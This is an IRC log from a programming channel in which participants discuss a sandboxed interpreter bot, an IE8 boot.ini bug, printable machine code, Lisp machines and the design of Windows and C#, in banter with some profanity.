17:28:52 <oerjan> also, it may or may not be buggy
17:29:02 <EgoBot> perl (sending via DCC)
17:29:17 <ais523> personally, I'd put BestFriends.js at least in the dubious category
17:29:25 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.11/2009060215]").
17:29:45 <oerjan> ok that has to be buggy, it requires trailing space
17:29:54 -!- Hiato has joined.
17:30:23 <oerjan> i replace newlines with space and EgoBot ends everything with newline
17:30:47 <oerjan> (it must have worked because i probably tested it on at least one program)
17:30:51 -!- Hiato has quit (Client Quit).
17:31:09 -!- Hiato has joined.
17:31:23 <oerjan> although mainly i put it there as a perl hack that called the bf interpreter
17:32:28 <oerjan> !ook ++++++++[->++++++++<]>. It supports bf too
17:32:39 <ais523> you're reminding me of when I got Thutubot to support Haskell
17:32:49 <ais523> it worked by getting it to ask lambdabot, then relaying its response back to the channel
17:33:37 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
17:33:48 <GregorR-L> Oh yeah, I never got Haskell working, because GHC was unfriendly.
17:36:09 <Hiato> ASM? How might that work, GregoR?
17:38:03 <pikhq> It's a deliciously evil hack.
17:40:12 <Hiato> Demonstration? Ie, waht does it accept, does it compile etc? :P Wanna know if I can do some ileegal memory mods to that machine ;)
17:43:57 <pikhq> It accepts everything.
17:44:25 <Gracenotes> for i in `seq 6 23`; do unrar x *1x$i*1.rar; done ... yay linux.
17:44:48 <pikhq> Of course, there's only so much damage you can do; it's in a chroot, running in a Xen VM.
17:45:35 <GregorR-L> pikhq: The code is: <a bunch of includes> int main(int argc, char **argv) { <user code>; return 0; }
17:45:36 <ais523> but I'm pretty sure that unlink is blocked by the sandbox
17:46:53 <pikhq> GregorR-L: Even if you hand it something with main supplied?
17:47:05 <GregorR-L> pikhq: It tries with the above first, then as a complete file.
17:47:12 <pikhq> !c int main(){printf("Lame.\n");}
17:48:08 <lifthrasiir> !c extern int foo(void); printf("%d\n", foo()); } int foo(void) { return 42;
17:48:43 <pikhq> lifthrasiir: Beautiful.
17:48:44 <GregorR-L> lifthrasiir: You realize that you're not taking advantage of anything by making code in an odd way that you could make anyway, right? :P
17:49:02 <pikhq> !c int foo(void){return 42;} printf("%d\n",foo());
17:49:21 <pikhq> lifthrasiir: Valid GNU C.
17:49:32 <GregorR-L> I should make it use TCC out of spite.
17:49:46 <pikhq> GregorR-L: ... I think TCC also implements that.
17:49:55 <pikhq> (TCC implements at least some of GNU C)
17:50:21 <pikhq> How's about the Portable C Compiler?
17:50:35 <pikhq> (the *second* C compiler ever. ... Still maintained.)
17:51:30 <pikhq> The BSDs are wanting to use it instead of GCC.
17:51:44 <pikhq> IIRC, NetBSD has it lined up for their next release as the system CC.
17:52:25 <GregorR-L> I thought that was only true of Free(?)BSD
17:54:19 <ais523> wrf? Using the ehird meaning of "apparently", apparently in some cases IE8 can delete essential boot files in Windows whenever a computer with it installed on is booted, even if you don't run it
17:54:22 * pikhq futzes with Windows VM.
17:54:24 <ais523> http://geekblog.oneandoneis2.org/index.php/2009/06/13/they-outdid-themselves
17:54:44 <ais523> also, I thought some of the BSDs were planning to change to clang rather than pcc
17:55:14 <pikhq> ais523: I think that it's a matter of "We can use PCC *now*, and switch to clang later."
17:56:28 <pikhq> God damned Windows.
17:57:33 * ais523 reads about a critical security bug in Java on OSX
17:57:48 <GregorR-L> Meanwhile, GNU/Linux is all "Yeah, we like GCC. That's right bitches."
17:57:50 <ais523> and how somebody made a webpage that exploits the bug to install a fix for it on the user's computer
17:57:59 <pikhq> Oh, yeah. That one.
17:58:02 <ais523> GregorR-L: well, gcc is required to compile Linux
17:58:13 <pikhq> TCC also compiles Linux.
17:58:20 <ais523> so it tends to be on most Linux computers to compile kernel modules
17:58:29 <ais523> I thought it was really dependent on gcc misfeatures
17:58:31 <GregorR-L> ais523: It was required to compile BSD until they made a concerted effort to change that.
17:58:39 <pikhq> And TCC has GCC misfeatures.
17:59:15 <pikhq> Ever checked out that bootloader that *compiles* Linux and then boots it?
17:59:18 <pikhq> That's TCC in action.
17:59:37 <ais523> I admit, I didn't even think about the possibility of storing your kernel in source form
17:59:53 <ais523> someone should make a fully source-based distro now
17:59:59 <ais523> which doesn't have any executables, except a compiler
18:00:06 <ais523> not even that if you can manage it somehow
18:00:24 <pikhq> A compiler? Screw that.
18:00:29 <ais523> the syscall to run a program could be hooked in order to compile it first, then run the resulting executable
18:00:29 <pikhq> TCC is also a C interpreter.
18:00:46 <ais523> but unfortunately, how would you run TCC without a binary sitting around somewhere?
18:00:56 <pikhq> Prepend all your source with #!/usr/bin/tcc -run
18:01:02 <pikhq> Such a shame you need to have TCC.
18:01:13 <ais523> yes, that's the problem
18:01:21 <ais523> you're going to need a C interp/compiler to run files written in C
18:01:41 <ais523> I suppose you could use suuda or something in order to have all the files on your system as text files
18:01:58 <pikhq> And probably also libraries; I don't know how freaking crazy TCC is.
18:01:58 <ais523> but they'd still be "binaries", just binaries written with ASCII printable characters
18:02:46 <pikhq> Y'know what else would be fun? Have the entire distro be LVM binaries.
18:03:20 <ais523> someone should write a hardware JIT
18:06:10 <pikhq> How the crap do you make a program that overwrites boot.ini?
18:10:00 -!- augur has quit (Read error: 104 (Connection reset by peer)).
18:10:18 -!- augur has joined.
18:12:57 <ais523> pikhq: one very plausible theory I saw was that it was a bad interaction between its installer and antivirus software
18:13:09 <ais523> apparently the installer modifies boot.ini to specify that it needs to do some finalisation after the boot
18:13:38 <ais523> and the antivirus software is causing the file to be deleted rather than modified due to a bug
18:14:49 <ais523> hmm... the linux equivalent would be adding a one-time process to init.d
18:14:58 <ais523> or whatever init system you happen to be using
18:15:08 <ais523> well, that would be the sane way
18:15:30 <pikhq> The Linux equivalent would be not having to reboot.
18:15:43 <ais523> an exact equivalent would be rewriting LILO's / GRUB's boot information to change the default init program from init to a wrapper
18:16:00 <ais523> and yes, the problem would almost certainly not come up in the first place
18:16:09 <pikhq> Which is, of course, freaking crazy.
18:16:29 <pikhq> All because Windows hates dynamic library versioning and deleting files that are still open.
18:17:00 <ais523> I almost want to write a Linux installer that does its work in a wrapper around init, now
18:17:16 <ais523> not for any good reason, though
18:17:18 <pikhq> God, what an awful hack.
18:17:29 <pikhq> I don't think I'd run such an installer outside of UML.
18:17:42 -!- augur_ has joined.
18:17:45 <ais523> would you run it inside UML?
18:18:03 <pikhq> For mere curiosity's sake.
18:18:16 <ais523> UML = the OO description language, here/
18:19:03 -!- augur has quit (Read error: 104 (Connection reset by peer)).
18:19:05 -!- GregorR-L has quit (Read error: 110 (Connection timed out)).
18:19:22 <pikhq> Y'know, Linux for Linux? :P
18:19:30 <Asztal> the WoW installer overwrote boot.ini by adding an extra backslash to the start of the file, so it was overwriting \boot.ini instead of its own boot.ini
18:19:50 <ais523> Linux runs on so many things nowadays, I'm not at all surprised that it runs on Linux
18:20:18 <Asztal> linux runs on windows too
18:20:24 <pikhq> I wish that the Cygwin port of it was maintained, though.
18:20:43 <pikhq> Asztal: CoLinux runs Linux /beside/ Windows in the same address space. Slight difference.
18:21:28 <pikhq> (think "cooperative multitasking". ;))
18:22:00 * oerjan whips up an implementation of FerNANDo in haskell, just because: http://oerjan.nvg.org/esoteric/FerNANDo.hs
18:22:10 <oerjan> too bad whtspc left without me noticing
18:23:46 -!- Hiato has quit ("Leaving").
18:30:21 <ais523> two OSes doing cooperative multitasking is scary enough as it is
18:39:55 <pikhq> Yeah, CoLinux is rather... Crazy.
18:41:17 -!- augur_ has quit (Read error: 104 (Connection reset by peer)).
18:41:30 -!- augur has joined.
18:48:47 -!- nescience has joined.
18:51:28 -!- FireFly has quit ("Later").
19:09:11 -!- GiveMeMony has joined.
19:27:30 -!- M0ny has quit (Read error: 110 (Connection timed out)).
19:31:41 -!- kar8nga has joined.
20:00:35 -!- olsner has joined.
20:01:43 -!- GregorR-L has joined.
20:20:55 -!- oerjan has quit ("leaving").
20:41:14 -!- Gracenotes_ has joined.
20:43:53 -!- Gracenotes has quit (Success).
20:44:02 -!- Gracenotes_ has changed nick to Gracenotes.
20:46:14 -!- Sgeo has joined.
20:50:31 -!- kar8nga has quit (Read error: 60 (Operation timed out)).
20:51:04 -!- GiveMeMony has quit.
20:52:08 -!- kar8nga has joined.
20:52:45 <pikhq> Related is the phrase 'stab'.
21:12:51 -!- Sgeo has quit (Read error: 110 (Connection timed out)).
21:19:41 -!- kar8nga has quit (Connection timed out).
21:27:00 -!- bsmntbombdood_ has quit (Read error: 110 (Connection timed out)).
21:57:30 -!- ais523 has quit (Remote closed the connection).
21:59:25 -!- ais523 has joined.
22:20:11 -!- FireFly has joined.
22:39:42 -!- upyr[emacs] has joined.
22:43:32 -!- MigoMipo has joined.
22:45:12 -!- bsmntbombdood has joined.
22:48:41 -!- BeholdMyGlory has joined.
22:55:45 <ehird> 04:04:17 <AnMaster> I had such a strange dream tonight. That I was buying one of those ultra-speed compact flash cards. You know, those that "300x" on them. Except it said (471+3i)x=4 on it instead...
22:55:54 <ehird> x = 317/36975 - 2i/36975
22:56:07 <ehird> (~= 0.0084922 - 0.0000541i)
22:56:25 <pikhq> Which is a small, barely-complex number.
22:56:52 <ehird> pikhq: "barely complex" :D
22:57:08 <ehird> i actually just did http://www19.wolframalpha.com/input/?i=solve+%28471%2B3i%29x%3D4
22:57:12 <ehird> but it's cooler to imagine I worked it out.
22:58:21 <pikhq> Not very hard algebra, though.
22:58:36 <ehird> but it looks complex before you think about it :P
22:58:53 <pikhq> Actually, it *is* complex.
22:59:33 <ehird> 06:58:53 <fizzie> According to some blog, you should just "git checkout filename".
22:59:34 <ehird> 06:59:19 <fizzie> Away for now.
22:59:35 <ehird> 06:59:28 <AnMaster> fizzie, ah thanks, that seems to work
22:59:37 <ehird> 06:59:39 <AnMaster> a bit illogical to me, but meh
22:59:39 <ehird> you're checking it out from the head revision
22:59:41 <ehird> what's odd about that?
22:59:45 <ehird> you can check a file out from any revision
22:59:48 <ehird> remember, a revision is a tree
23:00:03 <ehird> but it's not in a very native-OS-filesystemy sort of format
23:00:11 <ehird> so checkout checks out a file from a tree and puts it in your working dir
23:01:28 <ehird> i've actually found something that makes me willing to PAY for software
23:02:25 <ehird> http://store.steampowered.com/sub/1134/ All of Valve's games for £53 (= $86, though I hear it's $99 in the US.). That's 22 games for the price of 2, coming to £89 cheaper than buying it separately.
23:02:41 <ehird> I can't imagine it's terribly profitable. :p
23:06:49 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
23:08:40 -!- bsmntbombdood has quit (Read error: 110 (Connection timed out)).
23:08:55 -!- bsmntbombdood has joined.
23:12:10 <pikhq> ehird: $0.00 marginal cost.
23:12:29 -!- GregorR-L has quit (Read error: 110 (Connection timed out)).
23:12:54 * pikhq has had a very long day at work.
23:13:06 <pikhq> What's more, Windows *administration*.
23:13:18 <ehird> pikhq: alt.sysadmin.recovery is that way →
23:13:32 * pikhq too lazy to set up a Usenet client
23:13:43 <ehird> pikhq: http://groups.google.com/group/alt.sysadmin.recovery/topics
23:13:49 <pikhq> Or get on Google Groups.
23:13:56 <ehird> clicking is hard :)
23:14:07 <pikhq> Especially when you mostly use a mouse.
23:14:36 <ehird> pikhq: So tempted to dig up the paper proving that kb+mouse is more efficient than the kb
23:14:43 <ehird> it just feels slower due to a distorted sense of time we have
23:14:57 * pikhq wonders what interface was used for that
23:15:04 <ehird> pikhq: Plan 9, bitch.
23:15:34 <pikhq> (to be fair, I *do* use a mouse. Just not all that much.)
23:15:37 <ehird> pikhq: Face it — your brain wants you to be less productive ;-)
23:15:58 <pikhq> This is why I read Slashdot and Fark.
23:16:19 <ehird> pikhq: i'll amend that — your brain wants to rot.
23:16:50 <pikhq> No, it doesn't. It desires the opposite.
23:17:00 <pikhq> It just sucks at getting what it wants.
23:19:52 <ehird> "Sorry folks, I recovered last year. Time to deprecate this outdated puppy. I'll be nuking the entire page in a few weeks/months." — text on a page from 1996
23:25:43 -!- immibis has joined.
23:27:14 -!- Tidus35 has joined.
23:31:55 -!- bsmntbombdood has quit (Connection timed out).
23:44:49 <ehird> 09:29:17 <ais523> personally, I'd put BestFriends.js at least in the dubious category
23:52:35 -!- Judofyr has quit (Remote closed the connection).
23:58:34 -!- upyr[emacs] has quit (Read error: 104 (Connection reset by peer)).
00:08:19 -!- olsner has quit ("Leaving").
00:10:08 <ehird> 09:54:19 <ais523> wrf? Using the ehird meaning of "apparently", apparently in some cases IE8 can delete essential boot files in Windows whenever a computer with it installed on is booted, even if you don't run it
00:10:12 <ehird> what meaning would that be?
00:10:24 <ehird> 09:57:33 * ais523 reads about a critical security bug in Java on OSX
00:10:30 <ehird> 09:57:48 <GregorR-L> Meanwhile, GNU/Linux is all "Yeah, we like GCC. That's right bitches."
00:10:33 <ehird> yes, but they're insane
00:10:45 <ais523> ehird: where "apparently" means "I found a link on Reddit that said"
00:10:58 <ehird> ais523: that's compatible with the dictionary definition :)
00:11:30 <ehird> 10:01:41 <ais523> I suppose you could use suuda or something in order to have all the files on your system as text files
00:11:37 <ehird> write a short asm program to execute only code in [ to ]
00:11:41 <ehird> in printable chars
00:11:45 <ehird> Hello, this is the C compiler.
00:11:49 <ehird> [Adhkjdf] this prints the banner.
00:11:55 <ehird> We need to initialize, so, [dsfiouw98e58u98dfug89u985jodsf].
00:12:04 <ais523> that's literate machine code
00:12:13 <ehird> You can do jumps to simulate literate programming's rearrangement
00:12:29 <ehird> 10:02:46 <pikhq> Y'know what else would be fun? Have the entire distro be LVM binaries.
00:12:29 <ehird> 10:03:00 <pikhq> "JIT! JIT FTW!"
00:12:34 <ehird> please stop spreading that misconception pikhq
00:12:41 <ehird> LLVM _binaries_ are proper machine code
00:12:48 <ehird> just like your momma's c compiler.
00:12:53 <ehird> yes, it can JIT too.
00:12:59 <ehird> but the binaries are distinct from the JIT.
00:13:09 <ehird> there is no obstacle to making an LLVM kernel; just avoid its high-level shit.
00:13:15 <ais523> fun fact: none of the x86 branch or jump instructions happen to be printable characters
00:13:21 <ais523> so any printable-only machine code must be self-modifying
00:13:25 <ehird> 10:13:09 <ais523> apparently the installer modifies boot.ini to specify that it needs to do some finalisation after the boot
00:13:31 <ehird> that's basically why windows installers tell you to restart
00:13:41 <ehird> because they need to do OS-level initialization stuff
00:13:49 <ehird> then every other program did it too because it was expected :)
00:13:49 <ais523> yes, but modifying boot.ini is a crazy way to do it
00:14:01 <ais523> that's like wrapping init in order to run a daemon
00:14:03 <ehird> ais523: IE probably has to do ultra low level stuff
00:14:07 <ehird> and I guess boot.ini runs at that level
00:14:15 <ais523> yes, but you can get to that level various other ways
00:14:16 <ehird> ais523: remember, they've grafted it to the OS
00:14:32 <immibis> isn't ie 8 going to be optional in windows 7?
00:14:43 <ehird> immibis: it's just not going to ship w/ ie8 in europe
00:15:00 <ehird> immibis: they're trying to avoid the eu bashing them for antitrust
00:15:07 <ehird> but I don't really care; IE 8, as a browser, is ok
00:15:15 <ehird> it's catching up, rendering-wise
00:15:22 <ehird> if it was ie 6 i'd be more enthused
00:16:26 <ehird> ais523: relatedly, one of the "expert windows user" sort of people (the sort of person that uses Neowin, has a patched uxtheme.dll with a "minimalist" black theme, if they write C it's horribly contorted, newbish C because they're utterly detached from programming's reality, they use mIRC; you know the type I mean)
00:16:30 <ais523> the EU don't think that's enough of a situation, anyway
00:16:35 <ehird> ais523: told a forum I visit — authoritatively —
00:16:54 <ehird> ais523: that you have to wipe & reinstall windows on your computer every 6 months to keep it working well, in an everyone-knows-that tone.
00:17:11 <ais523> you don't /have/ to, but it's considerably easier than the other methods
00:17:17 <ais523> which mostly require being competent
00:17:19 <ehird> Of course, if they knew anything about how OSes work, they'd realize that that's utterly ridiculous and shouldn't be accepted.
00:17:25 <ehird> But no, it just is. "It's not surprising".
00:17:31 <ehird> It's just a routine thing you have to do.
00:17:50 <ehird> ais523: oh, and the kind of person that doesn't see why virus scanners are silly
00:18:16 <ehird> ais523: I pointed out that you could... fix the exploits... instead, but they mentioned prevention-is-better-than-cure. Because virus scanners magically detect new viruses
00:18:24 <ehird> very typical windows user...
00:18:49 <pikhq> I think it's very sad that Windows needs a virus scanner.
00:19:13 <pikhq> Really, most of Windows is very sad.
00:19:52 <ehird> microsoft should hire a bunch of people who just know a little bit about programming and OSes
00:19:54 <immibis> personally i don't think virus scanners are silly
00:19:56 <ehird> and ask them how to restructure windows
00:20:00 * immibis writes a linux virus to prove his point
00:20:03 <pikhq> immibis: And what OS do you use?
00:20:05 <ehird> and they'll get a load of bloomin' obvious answers that'd make windows 50000000x better
00:20:09 <ais523> immibis: the problem is, getting people to run it
00:20:10 <ehird> immibis: You're an idiot.
00:20:13 <immibis> windows because i'm forced to
00:20:24 <ehird> immibis: Virus scanners are like covering your body with rubber.
00:20:32 <ehird> Sure, it's "prevention". But just stick a fucking plaster on.
00:20:37 <pikhq> ehird: Heck, I know of one single thing that would make writing programs for Windows better.
00:20:52 <pikhq> Make the API not require a superset of C.
00:21:03 <ehird> pikhq: No. GObject, dude.
00:21:11 <ehird> Shoehorning OO designs onto C = fail.
00:21:14 <ehird> And GUIs are very much OO.
00:21:34 <ehird> pikhq: C# is becoming the new recommended applications language for Windows.
00:21:50 <ehird> They just need to rewrite explorer.exe in it, and everyone else will use it.
00:21:52 <pikhq> And it's implemented on Win32, making sure that it's still a mess.
00:22:00 <ehird> pikhq: That's an implementation detail.
00:22:02 <pikhq> Especially since it exposes Win32.
00:22:10 <ehird> pikhq: Yes, but you're Not Meant To Do That.
00:22:19 <pikhq> And everybody does that.
00:22:40 <ehird> pikhq: Not everyone.
00:22:45 <ehird> Desktop apps generally don't.
00:22:56 <pikhq> Obviously, anyone who cares about Mono doesn't.
00:23:02 <ehird> Hey, anyone remember Windows Longhorn chatter circa 2004?
00:23:11 <ehird> WinFS! It's a semantic dooblefoob searchifilesystem!
00:23:18 <ehird> Microsoft: solving problems nobody has.
00:23:26 <ehird> Ooh, and an *awful* interface: http://upload.wikimedia.org/wikipedia/en/5/5b/Windows_Longhorn_Build_4008.png
00:23:31 <ehird> It's like a really bad windows XP theme.
00:23:37 <ehird> Because that's what it is.
00:23:37 <pikhq> All this doesn't change that Win32 is an awful, awful API.
00:24:08 <pikhq> Make it straight freaking C or C++ for GUI stuff and C for CLI stuff or s/C++/Objective C/.
00:24:26 <ehird> Or just move over to .NET and its GUI library thingy; it seems quite nice.
00:24:47 <ehird> Of course, Windows until 7 ran the Windows 3.11 bundled programs.
00:24:49 <ehird> Without modification.
00:24:57 <pikhq> What, and completely toss C?
00:24:57 <ehird> So the underlying Win32 is going to be around for a very, very long time.
00:25:11 <GregorR> pikhq: Nah, there's C .NET
00:25:12 <ehird> pikhq: No. Use C for the kernel, and implementing .NET and C#.
00:25:23 <ehird> pikhq: You can use C for the windowing manager and everything too.
00:25:48 <ehird> pikhq: No, that's a sane design for an easy OO operating system.
00:25:54 <ehird> You write the kernel in C, like any proper person would.
00:26:06 <ehird> You write your framework in C, because you'd do that anyway.
00:26:13 <ehird> You write your drivers and shit in C, because they're related to the kernel.
00:26:26 <ehird> You write your window manager in C, because it has to be really fast and quite close to the kernel.
00:26:28 <pikhq> Sure, if you're doing only lightweight GUI code. ... Or like having a supercomputer just to do some encoding.
00:26:33 <ehird> Finally, you write your user-exposed GUI shit in C#.
00:26:42 <ehird> pikhq: Dude, C# has a C FFI.
00:26:51 <ehird> Write your super code in a DLL in C, bind it to C# for your GUI.
00:26:56 <pikhq> ehird: Then you'll keep a C API.
00:27:04 <ehird> pikhq: No you won't.
00:27:07 <pikhq> Which is not what you're suggesting.
00:27:09 <ehird> pikhq: Well, sure; a low-level one.
00:27:20 <ehird> pikhq: But don't expose your regular GUI lib.
00:27:32 <ehird> pikhq: Win32 is a bag o' random "goodies".
00:27:35 <pikhq> Oh, make the GUI only exposed via C#?
00:27:36 <ehird> I'm imagining a much smaller library.
00:27:37 <GregorR> The conversations on here never fail to WTF me.
00:27:51 <ehird> GregorR: We're talking about improving Windows without being too revolutionary.
00:27:53 <ehird> That's a WTF topic.
00:28:04 <ehird> pikhq: No, not just via C#.
00:28:13 * pikhq suspects that ehird hates the idea of non-C# languages being used
00:28:29 <ehird> Make it a .NET library written in C# whose implementation binds to the kernel/window manager functions, written in C.
00:28:54 * pikhq goes to do something saner than think about a C#-only GUI API. Like implement Malbolge in Malbolge.
00:29:11 <ehird> pikhq: what's your obsession with C++
00:29:14 <pikhq> ehird: You sir are the single most insane person I have met.
00:29:21 <pikhq> Have you considered a job at Microsoft?
00:29:22 <ehird> pikhq: do you think .NET is some kind of ultra-slow shit implementation?
00:29:34 <ehird> you're very adamant about using a low-level language
00:29:38 <ehird> I don't know why you think that will improve things
00:29:47 <ehird> "Use a low-level—" never improves things.
00:30:29 <ehird> pikhq: Never. Sir, I want to make my own lisp machine. It should be fairly obvious.
00:30:44 <ehird> Low-level languages that don't have to be (e.g. because they're machine code) are a travesty.
00:31:02 <immibis> ehird: write a kernel in c#
00:31:10 <pikhq> immibis: Microsoft did it.
00:31:22 <ehird> http://research.microsoft.com/en-us/groups/os/singularity/
00:31:28 <pikhq> Yes, there is no hope of anything good coming from Microsoft.
00:31:37 <ehird> pikhq: you're just a C fanboy.
00:31:54 <lament> it's like haskell, but usable
00:31:55 <ehird> and I hate microsoft.
00:32:01 <ehird> but I don't think C > C#.
00:32:36 <ehird> Bring back Lisp Machines! Write the OS in Lisp and let the user-mode language be Haskell!
00:32:49 <ehird> VIVA LA GRAPH REDUCIÓN!
00:33:23 <pikhq> You say this because you are unfamiliar with anything more low-level than a simple GUI. :P
00:33:32 <ehird> pikhq: ...says who?
00:33:42 <pikhq> Says your love of C#.
00:33:46 <ehird> pikhq: I. Hate. C#.
00:33:50 <ehird> But. I. Hate. C. More.
00:34:08 <ehird> ais523: F# is almost identical to OCaml on .NET, it's ridiculous.
00:34:17 <ehird> But since OCaml isn't all that bad, it's half good. The half that isn't .NET.
00:34:20 * pikhq begs ehird to devise a better semi-lowlevel language.
00:34:33 <ais523> do you like .NET itself, btw?
00:34:39 <ehird> ais523: 00:31 ehird: I hate .NET
00:34:44 <pikhq> ehird: Sure, if you're on a Lisp machine.
00:34:48 <ehird> though mostly the libraries
00:34:59 <ehird> pikhq: I don't believe that is necessary (although it is ideal)
00:35:13 -!- FireFly has quit ("Later").
00:35:31 <ehird> pikhq: Here's a million dollars of venture capital, kid; get yourself a better machine architecture, a better compiler, a better garbage collector, a better API, and a better UI.
00:35:39 <ehird> (Please, please do.)
00:35:49 <lament> you know what's better?
00:36:02 <ehird> lament: Absolutely.
00:36:08 <ehird> Do you know what that doesn't mean, lament?
00:36:10 <ehird> What you think it means. :)
00:36:12 <pikhq> You do know that Lisp machines fell out of use because... A conventional system was faster at executing Lisp, right?
00:36:33 <ehird> pikhq: Sorry, false dichotomy! A good Lisp Machine will always beat a good x86 for executing Lisp.
00:36:34 <lament> ehird: it's the conventional explanation for why lisp machines suck
00:36:45 <ehird> The Lisp Machines just weren't as good as other machines.
00:36:58 <ehird> lament: You can easily make a worse-is-better lisp machine.
00:37:03 <ehird> "Worse is better" != "x86 is better"
00:37:12 <pikhq> And a good Lisp machine is harder than a good x86.
00:37:19 <pikhq> ... Which is harder than a good almost-anything-else.
00:40:33 <ehird> pikhq: No, no it's not :P
00:41:10 <pikhq> Then why don't we see any Lisp machines *at all*?
00:41:26 <pikhq> Surely a good Lisp machine would have at least a niche market?
00:41:30 <ehird> pikhq: Because Windows only runs on x86, inventing a new micro-architecture is expensive, and lisp machines failed in the 80s.
00:41:45 <pikhq> ... There's more than x86 out there.
00:41:53 <ehird> pikhq: Yes, there is.
00:42:04 -!- BeholdMyGlory has quit (Remote closed the connection).
00:42:12 <ehird> pikhq: How much of that is new architectures? How many of those new architectures aren't in things like game consoles, where the architecture is irrelevant?
00:42:42 <pikhq> And those are all RISC, because non-(Intel|AMD) companies don't have the resources to dump into making a good x86 chip.
00:43:04 <pikhq> "Where architecture is irrelevant?"
00:43:12 <ehird> pikhq: Sure - they control the OS.
00:43:15 <ehird> And all the software.
00:43:18 <ehird> Compatibility - not an issue.
00:43:29 <immibis> pikhq: are you suggesting RISC is inferior?
00:43:36 <ehird> pikhq: How many of the new architectures aren't funded by BIG companies for big products, like Sony and IBM for the Playstation 3's Cell?
00:43:36 <pikhq> Congrats, you managed to remove everything but Windows and OS X from the discussion.
00:43:43 <pikhq> immibis: No, I'm saying it's easier to do well.
00:44:06 <ehird> pikhq: You surely see now why inventing, creating and marketing a Lisp Machine is almost impossible in the present day.
00:44:23 <ehird> Then you are insane.
00:44:44 <pikhq> There'd be a niche market for them if they were higher performance than a standard system for Lisp.
00:44:55 <ehird> pikhq: Nobody fucking uses Lisp.
00:44:59 <pikhq> Just like there's a niche market for ARM, and Cell, and MIPS, etc.
00:45:01 <ehird> This is not because lisp is inferior.
00:45:09 <ehird> This is because the lisp ecosystems are inferior.
00:45:12 <ehird> This is because nobody big uses lisp.
00:45:17 <ehird> This is because lisp isn't popular after the AI winter.
00:45:23 <ehird> This. is. not. because. Lisp. is. inferior.
00:45:37 <ehird> The exact same applies to a Lisp Machine, but Lisp Machines are more expensive and difficult to make than a Lisp implementation, so moreso.
00:45:39 <pikhq> The lady doth protest too much, methinks.
00:46:47 * pikhq observes that ehird is a bitter old man in a 14-year-old's body
00:47:03 <ehird> It is not August yet :-P
00:47:43 <ehird> I have hated computers ever since I deleted all the files in C:\WINDOWS and it crashed. :)
00:47:51 <ehird> (3? 4? years old.)
00:50:25 <pikhq> You lost your ability to sound reasonable about when you suggested that C# be used as a systems programming language, BTW.
00:50:41 <ehird> pikhq: I meant "a high-level programming language", not specifically C#.
00:51:14 <GregorR> I see the conversation has accomplished a lot while I was practicing.
00:51:20 <pikhq> And what is the aforementioned high-level programming language going to be written in?
00:51:47 <ehird> pikhq: You really can't see beyond x86 and C, can you?
00:52:09 <ehird> That's "The World of Programming Languages Suited to Doing Things that Involve, In Part, Poking Bits at Hardware".
00:52:40 <pikhq> Yes, that's what you typically implement high-level languages in.
00:56:28 <ehird> Anyway, pikhq, you're a bloody conservative and you will be first against the wall when the revolution comes. Then Windows 57 will be released and Intel will announce the x86-O-Tron 300XESDJAH and it will be over, and you'll never end up getting shot.
00:57:11 <lament> C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C C
00:57:12 <pikhq> All this ignores that if any high-level language replaces C, it'll be eerily similar to Erlang.
00:57:20 <ehird> pikhq: Hahahahaha.
00:57:24 <lament> asm asm asm asm asm asm asm asm asm asm asm asm asm asm asm asm asm asm asm asm asm asm asm asm
00:57:30 <ehird> No, it won't, because nobody uses Erlang, and Erlang sucks.
00:57:40 <ehird> Maybe you meant to say "I like Erlang" :-)
00:57:40 <lament> tcl tcl tcl tcl tcl tcl tcl tcl tcl tcl tcl tcl tcl tcl tcl tcl tcl tcl
00:57:58 <GregorR> tcl tcl tcl tcl tcl tcl tcl tcl tcl tcl ERLANG ERLANG
00:58:01 <GregorR> A tcl tcl tcl tcl tcl tcl tcl tcl tcl tcl ERLANG ERLANG
00:58:05 <GregorR> A tcl tcl tcl tcl tcl tcl tcl tcl tcl tcl ERLANG ERLANG
00:58:08 <ehird> GregorR: SCHEME, SCHEME
00:58:08 <immibis> insertlanguagehere insertlanguagehere insertlanguagehere insertlanguagehere insertlanguagehere insertlanguagehere insertlanguagehere insertlanguagehere insertlanguagehere insertlanguagehere insertlanguagehere insertlanguagehere insertlanguagehere insertlanguagehere insertlanguagehere insertlanguagehere insertlanguagehere
00:58:39 <lament> language language language language language language language language language language language language
00:59:57 <ehird> a marijuana marijuana marijuana marijuana marijuana MUSHROOMS MUSHROOMS
01:00:02 <ais523> a COBOL, a COBOL a COBOL a COBOL!
01:00:17 <ehird> ais523: THAT DOES NOT FIT WITH THE SONG.
01:00:29 <ais523> yes it does, it's substituting for the snake
01:00:33 <ais523> although arguably I should have used Python
01:00:36 <GregorR> ehird: Neither did yours, even ignoring the fact that the individual words had two many syllables
01:00:45 <ehird> GregorR: It was closer than his.
01:00:55 * pikhq invites ehird to devise of a way to have this hypothetical "Only one high-level language API" support more than one language
01:01:00 <ehird> GregorR: although there should be one more, cutting off at "marijua—"
01:01:13 <GregorR> ehird: No, not cutting off at all.
01:01:20 <GregorR> ehird: There should be exactly one more.
01:01:22 <pikhq> Or, in the case of .Net, more than one set of languages with a common environment.
01:01:57 <ehird> pikhq: i don't really bother discussing new language/os ideas with people entrenched in the x86/BIOS/Unix-alike/C environment because they're unlikely to change their mind on it
01:02:05 <lament> too many syllables too many syllables too many syllables too many syllables too many syllables too many syllables too many syllables too many syllables too many syllables too many syllables too many syllables too many syllables MUSHROOM MUSHROOM
01:02:07 <ehird> GregorR: really? my listening to the song suggests not
01:02:27 <pikhq> ehird: So, you prefer preaching to the choir.
01:02:32 <ehird> GregorR: no, add "mmarijuana ma—"
01:02:32 <pikhq> Might I interest you in a job at Microsoft?
01:02:39 <ehird> i just listened to check
01:02:54 <ehird> pikhq: not necessarily the choir. I just don't preach to the satanists.
01:03:27 <lament> this microsoft job you guys keep throwing around
01:03:39 <ehird> lament: ask pikhq, he's the one offering it
01:03:49 <ehird> lament: "argumentum ad haha, you should work for microsoft", I believe
01:04:26 <pikhq> lament: Ask at www.microsoft.com
01:04:41 <pikhq> And enjoy the insanity that is thinking that .Net was a good idea.
01:05:06 <lament> i thought you said .com
01:05:10 <ehird> pikhq is a sysadmin, i think convincing him there's anything better than unix is physically impossible :)
01:05:18 <lament> i've never heard of www.microsoft.Net
